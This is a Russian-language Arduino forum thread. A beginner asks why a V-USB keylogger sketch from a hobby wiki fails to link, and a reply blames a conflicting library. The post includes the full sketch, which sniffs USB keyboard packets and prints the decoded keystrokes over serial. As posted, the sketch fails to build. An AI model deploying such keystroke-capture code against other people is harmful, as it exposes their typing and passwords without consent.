http://wiki.amperka.ru/projects:keylogger Всем привет! Первый раз работаю с Arduino - вот скачал библиотеку V-USB, пытаюсь собрать скетч, указанный в теме кейлоггера, но вылазит куча ошибок В чем может быть проблема? Arduino: 1.6.7 (Windows 7), Плата:"Arduino Mini, ATmega328" c:/program files (x86)/arduino/hardware/tools/avr/bin/../lib/gcc/avr/4.8.1/../../../../avr/bin/ld.exe: Warning: size of symbol `usbRxBuf' changed from 22 in sketch\usbdrv\usbdrv.c.o to 11 in sketch\keylogger.ino.cpp.o libraries\usbdrv\usbdrvasm.S.o: In function `__vector_1': C:\Users\Boris\Documents\Arduino\libraries\usbdrv/usbdrvasm16.inc:35: multiple definition of `__vector_1' sketch\usbdrv\usbdrvasm.S.o:C:\Users\Boris\Documents\Arduino\libraries\usbdrv/usbdrvasm16.inc:35: first defined here libraries\usbdrv\usbdrvasm.S.o: In function `usbCrc16': C:\Users\Boris\Documents\Arduino\libraries\usbdrv/usbdrvasm.S:230: multiple definition of `usbCrc16' sketch\usbdrv\usbdrvasm.S.o:sketch\usbdrv/usbdrvasm.S:230: first defined here libraries\usbdrv\usbdrvasm.S.o: In function `usbCrc16Append': C:\Users\Boris\Documents\Arduino\libraries\usbdrv/usbdrvasm.S:262: multiple definition of `usbCrc16Append' sketch\usbdrv\usbdrvasm.S.o:sketch\usbdrv/usbdrvasm.S:262: first defined here libraries\usbdrv\usbdrv.c.o: In function `usbSetInterrupt': C:\Users\Boris\Documents\Arduino\libraries\usbdrv/usbdrv.c:246: multiple definition of `usbSetInterrupt' sketch\usbdrv\usbdrv.c.o:sketch\usbdrv/usbdrv.c:246: first defined here libraries\usbdrv\usbdrv.c.o: In function `usbSetInterrupt': C:\Users\Boris\Documents\Arduino\libraries\usbdrv/usbdrv.c:246: multiple definition of `usbPoll' sketch\usbdrv\usbdrv.c.o:sketch\usbdrv/usbdrv.c:246: first defined here libraries\usbdrv\usbdrv.c.o: In function `usbSetInterrupt': C:\Users\Boris\Documents\Arduino\libraries\usbdrv/usbdrv.c:246: multiple definition of `usbTxLen' sketch\usbdrv\usbdrv.c.o:sketch\usbdrv/usbdrv.c:246: first defined here libraries\usbdrv\usbdrv.c.o: In function `usbSetInterrupt': C:\Users\Boris\Documents\Arduino\libraries\usbdrv/usbdrv.c:246: multiple definition of `usbDescriptorDevice' sketch\usbdrv\usbdrv.c.o:sketch\usbdrv/usbdrv.c:246: first defined here libraries\usbdrv\usbdrv.c.o: In function `usbSetInterrupt': C:\Users\Boris\Documents\Arduino\libraries\usbdrv/usbdrv.c:246: multiple definition of `usbDescriptorConfiguration' sketch\usbdrv\usbdrv.c.o:sketch\usbdrv/usbdrv.c:246: first defined here libraries\usbdrv\usbdrv.c.o: In function `usbSetInterrupt': C:\Users\Boris\Documents\Arduino\libraries\usbdrv/usbdrv.c:246: multiple definition of `usbDescriptorString0' sketch\usbdrv\usbdrv.c.o:sketch\usbdrv/usbdrv.c:246: first defined here libraries\usbdrv\usbdrv.c.o: In function `usbSetInterrupt': C:\Users\Boris\Documents\Arduino\libraries\usbdrv/usbdrv.c:246: multiple definition of `usbDescriptorStringVendor' sketch\usbdrv\usbdrv.c.o:sketch\usbdrv/usbdrv.c:246: first defined here libraries\usbdrv\usbdrv.c.o: In function `usbSetInterrupt': C:\Users\Boris\Documents\Arduino\libraries\usbdrv/usbdrv.c:246: multiple definition of `usbDescriptorStringDevice' sketch\usbdrv\usbdrv.c.o:sketch\usbdrv/usbdrv.c:246: first defined here libraries\usbdrv\usbdrv.c.o: In function `usbSetInterrupt': C:\Users\Boris\Documents\Arduino\libraries\usbdrv/usbdrv.c:246: multiple definition of `usbInit' sketch\usbdrv\usbdrv.c.o:sketch\usbdrv/usbdrv.c:246: first defined here collect2.exe: error: ld returned 1 exit status exit status 1 Ошибка компиляции. Это сообщение будет содержать больше информации чем "Отображать вывод во время компиляции" включено в Файл > Настройки
Код (C++): #include <avr/io.h> #include <avr/interrupt.h> #include <avr/wdt.h> #include <avr/pgmspace.h> // библиотека для работы с протоколом USB #include <usbdrv.h> // библиотека для работы с Serial-портом #include <uart.h> // PID 8 бит идентификатор // ADDR 7 бит адрес устройства // Endpoint 4 бита номер конечной точки // CRC 5 бит контрольная сумма // итого 3 байта #define IN_SIZE 3 // PID 8 бит идентификатор // DATA 64 бита данные // CRC 16 бит контрольная сумма // итого 11 байт #define USB_BUFSIZE 11 // количество принятых пакетов хранимых в памяти // должно быть четным и соблюдаться условие // (IN_SIZE + USB_BUFSIZE)*FIFO_BUF_SIZE < 255 #define FIFO_BUF_SIZE 10 // RX буфер: 3 байта запроса IN + 11 байт данных DATAx unsigned char usbRxBuf[USB_BUFSIZE]; unsigned char FIFOBuf[(IN_SIZE+USB_BUFSIZE)*FIFO_BUF_SIZE]; // номер текущей записываемой пары IN-DATA (0-FIFO_BUF) unsigned char CurWritePos = 0; // номер текущей прочитываемой пары IN-DATA (0-FIFO_BUF) unsigned char CurReadPos = 0; // массив символов для декодирования скан-кодов при не нажатой клавиши Shift unsigned char masskey[] = "abcdefghijklmnopqrstuvwxyz1234567890-=[]\\X;'`,./"; // массив символов для декодирования скан-кодов при зажатой клавиши Shift unsigned char masskeyShift[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+{}|X:\"~<>?"; void setup() { // открываем последовательный порт Serial.begin(19200); // настраиваем прерывание usbInit(); // печатаем о готовности устройства Serial.print("UART init complet"); // разрешаем прерывания sei(); } void loop() { // если сработало прерывание // то переменная CurWritePos изменит своё значение if (CurWritePos != CurReadPos) { // вызываем функцию printResult printResult(FIFOBuf + CurReadPos*(USB_BUFSIZE+IN_SIZE) + IN_SIZE, USB_BUFSIZE); CurReadPos++; if (CurReadPos >= FIFO_BUF_SIZE) { CurReadPos = 0; } } } void printResult(uchar *datakey, uchar len) { bool shift = 0; // если во время очередного нажатия на клавишу // была нажата кнопка Shift if ((*(datakey + 1) == 0x2) || (*(datakey + 1) == 0x20)) shift = 1; else shift = 0; // если 3 байт из массива данных пришёл не нулевой // значит нажата одна из клавиш if (*(datakey + 3) != 0) { // вызываем функцию печати символа printKey(*(datakey + 3), shift); } } void printKey(uchar key, bool shift) { // если нажата одна из клавиш английского алфавита if (key >= 0x4 && key <= 0x27) { // если нажат Shift декодируем скан-коды как заглавные буквы if (shift == 1) { Serial.write(masskeyShift[key-4]); } else { // если нет декодируем скан-коды как строчные буквы Serial.write(masskey[key-4]); } } else if (key == 0x28) { // если пришел скан-код клавиши Enter Serial.print("\r\n"); } else if (key == 0x2B) { // если пришел скан-код клавиши Tab Serial.print("\t"); } else if (key == 0x2C) { // если пришел скан-код клавиши Space Serial.print(" "); } else if (key >= 0x2d && key <= 0x38) { // если пришел сканд-код из знаков пунктуации if (shift == 1) Serial.write(masskeyShift[key - 9]); else Serial.write(masskey[key - 9]); } else { // если пришёл скан-код которого мы не знаем // печатаем его без декодирования printHex(key); } }
скорей всего у вас установлена конфликтующая библиотека. дайте скрин директории C:\Users\Boris\Documents\Arduino\libraries